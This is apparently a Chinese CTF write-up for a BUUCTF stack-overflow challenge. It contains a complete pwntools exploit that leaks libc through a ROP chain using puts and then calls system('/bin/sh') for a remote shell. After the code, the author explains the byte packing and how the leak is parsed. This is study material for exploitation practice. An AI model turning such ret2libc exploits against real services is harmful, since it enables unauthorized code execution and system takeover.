ScreenShot_2026-03-28_232829_120.png
看保护
ScreenShot_2026-03-26_103922_816.png
根本没保护,连最基本得栈不可执行也没开
但是这也是让我最红温的,还想说试一下手写shellcode,练练手,结果不知道什么原因一直没成功,被迫泄露libc,构造Rop链

放IDA看主要代码:
ScreenShot_2026-03-28_233531_408.png
很简单的一段代码,栈空间0x20+0x8(rbp),所以构造ROP链泄露libc基址,返回main,再用基址构造get_shell的ROP链就好了
直接给exp吧:

from pwn import *
from LibcSearcher import LibcSearcher


p = remote('node5.buuoj.cn', 27222)
offset = 0x28

pop_rdi = 0x400713
ret = 0x400714 

put_got = 0x601018
put_plt = 0x4004E0
main_addr = 0x400636


p.sendlineafter(b"tell me your name\n", b'1')

payload_1 = b'A' * offset + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main_addr)

p.sendlineafter(b"What do you want to say to me?\n", payload_1)

put_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00"))


libc = LibcSearcher("puts", put_addr)
base_addr = put_addr - libc.dump("puts")
binsh = base_addr + libc.dump("str_bin_sh")
system = base_addr + libc.dump("system")

p.sendlineafter(b"tell me your name\n", b'1')

payload = b'A' * offset + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendlineafter(b"What do you want to say to me?\n", payload)

p.interactive()

我自上而下把觉得要解释的解释一下:

我觉得自己手写exp最需要组注意:
写入地址的时候用p64()
数据内容用 b''

\x是给程序读取的字节
0x是给咱们读取的十六进制
比如:addr = 0x601080 #是整数,用 0x
等价于:
b'\x80\x10\x60\x00\x00\x00\x00\x00',是字节,小端序

再解释一下获取打印出来的put_addr的语句:
put_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00"))
因为 64 位 Linux 的 libc 地址、栈地址几乎全都以 0x7f 开头,所以用p.recvuntil(b'\x7f')就可以截取到地址开头的字节

假设put_addr = 0x7f123456789a

在内存中就是b"\x9a\x78\x56\x34\x12\x7f"
所以你用 recv 收到的字节是:b"\x9a\x78\x56\x34\x12\x7f"
[-6:]就是\x9a\x78\x56\x34\x12\x7f
然后就是补齐8位,空位补\x00
最后的u64就是变成0x7f123456789a的形式,因为后面用libc.dump("puts")计算出来的地址也是0x形式